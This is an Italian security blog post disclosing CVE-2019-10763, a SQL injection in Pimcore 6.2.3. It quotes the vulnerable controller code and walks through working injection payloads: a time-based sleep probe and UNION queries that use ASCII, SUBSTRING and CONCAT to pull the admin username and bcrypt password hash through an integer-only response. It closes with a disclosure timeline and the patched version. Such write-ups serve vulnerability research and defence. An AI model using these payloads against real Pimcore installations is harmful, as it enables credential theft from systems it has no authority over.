Security

SQL injection in Pimcore 6.2.3

SQLi data exfiltration with integers

Daniele Scanu Gennaio, 2020
SQL injection in Pimcore 6.2.3

In questo articolo descriviamo come siamo riusciti a sfruttare una SQL Injection per estrarre username e password nonostante il server risponda solo con numeri interi. Dalle nostre verifiche, la vulnerabilità è presente in Pimcore dalla versione 4 e quindi è rimasta nascosta per almeno 3 anni. Alla vulnerabilità è stato assegnato il CVE 2019-10763.

Introduzione

Durante un'analisi sulla versione 6.2.3 di Pimcore, abbiamo individuato una potenziale SQL Injection nella funzione getPageAction() nel file ClassificationstoreController.php.

Questa funzione si occupa di gestire le richieste HTTP effettuate tramite metodo GET all'URL "/admin/classificationstore/get-page". La funzione è raggiungibile da account che possiedono privilegi limitati e usa i seguenti parametri: id, storedId, pageSize e table.

Di seguito la sezione di codice sorgente in oggetto:

1453    public function getPageAction(Request $request)
1454    {
1455        $table = 'classificationstore_' . $request->get('table');
1456        $db = \Pimcore\Db::get();
1457        $id = $request->get('id');
1458        $storeId = $request->get('storeId');
1459        $pageSize = $request->get('pageSize');
1460
1461        if ($request->get('sortKey')) {
1462            $sortKey = $request->get('sortKey');
1463            $sortDir = $request->get('sortDir');
1464        } else {
1465            $sortKey = 'name';
1466            $sortDir = 'ASC';
1467        }
1468        $sorter = ' order by `' . $sortKey .  '` ' . $sortDir;
1469
1470        if ($table == 'keys') {
1471            $query = '
1472                select *, (item.pos - 1)/ ' . $pageSize . ' + 1  as page from (
1473                    select * from (
1474                        select @rownum := @rownum + 1 as pos,  id, name, `type`
1475                        from `' . $table . '`
1476                        where enabled = 1 and storeId = ' . $storeId . $sorter . '
1477                      ) all_rows) item where id = ' . $id . ';';
1478        } else {
1479            $query = '
1480            select *, (item.pos - 1)/ ' . $pageSize . ' + 1  as page from (
1481                select * from (
1482                    select @rownum := @rownum + 1 as pos,  id, name
1483                    from `' . $table . '`
1484                    where storeId = ' . $storeId . $sorter . '
1485                  ) all_rows) item where id = ' .  $id . ';';
1486        }
1487
1488        $db->query('select @rownum := 0;');
1489        $result = $db->fetchAll($query);
1490
1491        $page = (int) $result[0]['page'] ;
1492
1493        return $this->adminJson(['success' => true, 'page' => $page]);
1494    }

Come è possibile notare, nelle righe 1471 e 1479 vengono create due query tramite concatenazione di stringhe. I valori inseriti all'interno della query finale corrispondono ai parametri della richiesta HTTP, usati direttamente senza alcuna sanitizzazione dell'input.

Questa implementazione permette ad un utente di controllare la query portando a una vulnerabilità di tipo SQL Injection.

Verifica della vulnerabilità

Una normale richiesta alla pagina potenzialmente vulnerabile utilizza un valore intero per il parametro id. Di seguito un esempio di richiesta:

Normal request

Per verificare che la vulnerabilità sia effettivamente sfruttabile abbiamo provato ad eseguire una time-based SQL Injection, ovvero abbiamo creato un payload che impone al database di attendere per un certo periodo di tempo prima di rispondere. Abbiamo perciò inserito all'interno del parametro id la funzione sleep() di SQL e verificato che il server attenda il numero di secondi da noi specificato (5) prima di restituire una risposta. Di seguito il payload utilizzato:

1;select sleep(5) --

Di seguito la richiesta con il payload appena descritto, ovviamente URL-encoded:

Time-based SQLi request

Come ci aspettavamo, il server ha risposto dopo poco più di 5 secondi, confermando la presenza della vulnerabilità!

Time-base SQLi response

Ottimo! Il parametro id risulta vulnerabile a SQL Injection!!

Controlliamo l'output con la UNION

Non spieghiamo in questo articolo come sfruttare la tecnica della UNION, basti sapere che tramite l'uso di tale operatore è possibile concatenare il risultato di una seconda query con la query eseguita da Pimcore.

Esaminiamo la query originale, dove il campo id è un identificativo numerico:

select * from classificationstore_keys where id = ...

La tabella classificationstore_keys è formata da 4 colonne e un payload semplice come 1 union (select 1,2,3,4) permette di verificare se uno degli interi specificati viene effettivamente inserito come risultato. Inoltre, è importante che la prima query, quella originariamente eseguita da Pimcore, non restituisca alcun risultato (infatti nel nostro database non esiste alcuna riga con id=1). La query risultante dopo l'inserimento del payload descritto sopra è la seguente:

select * from classificationstore_keys where id = 1 union (select 1,2,3,4)

Il risultato di tale query è una tabella con una singola riga (composta dalle colonne con i seguenti valori: 1,2,3,4) dal momento che non esiste alcun valore nella tabella con id=1. Di seguito la risposta del server:

Basic UNION payload response

Siccome il valore del campo page del json restituito dal server corrisponde al valore della quarta colonna estratta dal risultato della query e il risultato del nostro payload prevede una riga di esattamente quattro colonne, la risposta contiene il valore della quarta colonna del nostro payload, ovvero il numero 4.

Purtroppo, il codice di Pimcore pone un limite alla quantità di dati esfiltrabile a causa di una conversione ad intero alla riga 1941 e riportata di seguito per comodità:

1491        $page = (int) $result[0]['page'] ;

Se creassimo un payload con qualsiasi altro valore, come ad esempio il carattere 'A', il server risponderebbe con "page":0, corretto in quanto 'A' non è un intero!

La domanda che nasce spontanea è: "Esiste un payload o un costrutto per convertire una stringa, come uno username, in un valore intero?"

Sì! Il SQL fornisce alcune interessanti funzioni che possono essere usate per manipolare i risultati, come SUM(), AVG(), SUBSTRING() o, ancora, ASCII(). Quest'ultima è particolarmente utile in questo caso perché converte un carattere ASCII come la 'A', nel suo valore intero decimale (65).

Il payload può perciò essere modificato in:

select * from classificationstore_keys where id = 1 union (select 1,2,3,ascii('A'))

Ottenendo la seguente risposta dal server:

Union ASCII A conversion response

Estendendo il concetto, possiamo convertire una stringa composta da più di un carattere, come ad esempio "ABC", nella relativa sequenza di valori decimali ASCII (656667) con l'ausilio delle funzioni SUBSTRING() e CONCAT() di SQL.

L'idea è la seguente:

  1. con SUBSTRING() possiamo estrarre i caratteri dalla stringa, uno alla volta
  2. con ASCII() possiamo convertire il carattere nel corrispondente valore decimale
  3. con CONCAT() possiamo concatenare i diversi valori decimali (che saranno "castati" a stringa)

Il payload finale risulta essere il seguente:

1 union (select 1,2,3, concat(ascii(substring('ABC',1,1)), ascii(substring('ABC',2,2)), ascii(substring('ABC',3,3))))

Una volta fatta la chiamata con il nuovo payload, la risposta del server è la seguente:

UNION ASCII "ABC" conversion response

Con la tecnica appena descritta, possiamo esfiltrare informazioni arbitrarie dal database. Ovviamente a noi interessano username e password!

Username exfiltration

Prima di procedere con l'estrazione dello username è necessario fare alcune considerazioni sulla tabella ASCII che riportiamo di seguito per comodità:

ASCII table

Come si può notare, il primo carattere stampabile è lo spazio, 32 in decimale, mentre l'ultimo, la tilde, corrisponde al valore decimale 126. Questo significa che ogni carattere sarà convertito in almeno due numeri decimali. Inoltre, se un numero inizia con "1" significa che dobbiamo considerare anche i due numeri successivi come parte dello stesso carattere. Questo ci permette di tradurre nuovamente le risposte del server in caratteri!

Per effettuare un dump dell'utente amministratore dobbiamo estrarre la colonna name della tabella users. Possiamo usare il seguente payload:

1 union select 1,2,3,(select concat(ascii(substring(name,1,1)),ascii(substring(name,2,2)),ascii(substring(name,3,3)),ascii(substring(name,4,4)),ascii(substring(name,5,5))) from users where id=2) --

Di seguito la risposta del server:

Admin username exfiltration response

Se traduciamo i decimali ottenuti in risposta nel campo page (97100109105110), otteniamo la stringa "admin" che è appunto lo username del nostro utente amministratore. Infatti, seguendo le considerazioni sulla tabella ASCII fatte in precedenza, abbiamo che 97=a, 100=d, 109=m, 105=i e 110=n.

Ottimo! Abbiamo ottenuto lo username del nostro amministratore!

Questo funziona perché il numero 97100109105110 è relativamente piccolo e siamo su una macchina a 64bit, altrimenti avremmo ottenuto un integer overflow!

Infatti, un payload come 1 union (select 1,2,3,99999999999999999) causa la seguente risposta:

Integer overflow response

A dispetto della teoria, abbiamo scoperto empiricamente che possiamo ottenere in risposta un numero lungo al massimo 15 cifre.

Password exfiltration e overflow bypass

In una configurazione di default come la nostra, la costante predefinita PASSWORD_DEFAULT di PHP usa bcrypt come algoritmo di hash per le password. Ci aspettiamo quindi di dover estrarre una sessantina di caratteri che contengono:

  • il prefisso di 4 caratteri che può assumere i seguenti valori: $2a$, $2b$ o $2y$
  • il costo delimitato da $
  • il sale di 22 caratteri (codificato in Base64 con un sale a 184bit)
  • l'hash risultante di 31 caratteri (codificato in Base64)

Considerato che il server ci risponde con al massimo 15 numeri e che, nel caso peggiore, un singolo carattere della password può essere tradotto in 3 cifre decimali, significa che possiamo estrarre al massimo 5 caratteri alla volta (15 diviso 3).

Questo significa che per estrarre l'intera password, servono almeno 12 richieste distinte (60 diviso 5). Overflow bypassed!

Come per lo username, dobbiamo estrarre la colonna password dalla tabella users ma ci limitiamo a prendere solo i primi 5 caratteri. Di seguito il payload:

1 union select 1,2,3,(select concat(ascii(substring(password,1,1)),ascii(substring(password,2,2)),ascii(substring(password,3,3)),ascii(substring(password,4,4)),ascii(substring(password,5,5))) from users where id=2) --

Di seguito la risposta del server:

Admin password: first 5 characters response

Possiamo quindi procedere con il secondo gruppo di 5 caratteri:

1 union select 1,2,3,(select concat(ascii(substring(password,6,6)),ascii(substring(password,7,7)),ascii(substring(password,8,8)),ascii(substring(password,9,9)),ascii(substring(password,10,10))) from users where id=2) --

Di seguito la risposta del server:

Admin password: second 5 characters response

Non stiamo a riportare tutte le richieste HTTP ma ci limitiamo ad analizzare quanto ottenuto. Nella prima risposta il valore di page è "36501213649" che corrisponde a "$2y$1" mentre nella seconda risposta il valore è "483610657112" che corrisponde a "0$j9p".

Unendo i due risultati otteniamo $2y$10$j9p dove possiamo notare il prefisso ($2y$), il costo (10$) e l'inizio del Base64 che distingue il sale. Stiamo effettivamente estraendo l'hash bcrypt di una password!

Timeline

Data Cosa
04 novembre 2019 La vulnerabilità è stata scoperta.
05 novembre 2019 La vulnerabilità è stata segnalata al team di Pimcore.
17 novembre 2019 Pimcore rilascia la patch con la versione 6.3.0.
17 novembre 2019 SNYK rende pubblica la vulnerabilità.

Summary

In questo articolo abbiamo dimostrato come la conversione ad un tipo diverso (cast), più restrittivo rispetto ad una stringa come l'integer, sia comunque superabile se non c'è sanitizzazione dell'input.

Riferimenti

 

Articoli correlati

Security

Articoli in evidenza

Approfondimenti

UNISCITI A NOI. INVIA LA TUA CANDIDATURA

Certimeter Group crede nei valori, nella passione e nella professionalità delle persone.